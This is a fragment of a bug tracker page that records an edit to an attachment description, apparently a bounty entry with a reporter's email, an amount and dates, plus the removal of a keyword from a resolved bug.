Attachment #8663039 - Attachment description: mario.heiderich@gmail.com,2500?,2015-07-11,2015-09-12,2015-09-18,true,,, → mario.heiderich@gmail.com,2500,2015-07-11,2015-09-12,2015-09-18,true,,,
Removing leave-open keyword from resolved bugs, per :sylvestre.
Keywords: leave-open
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: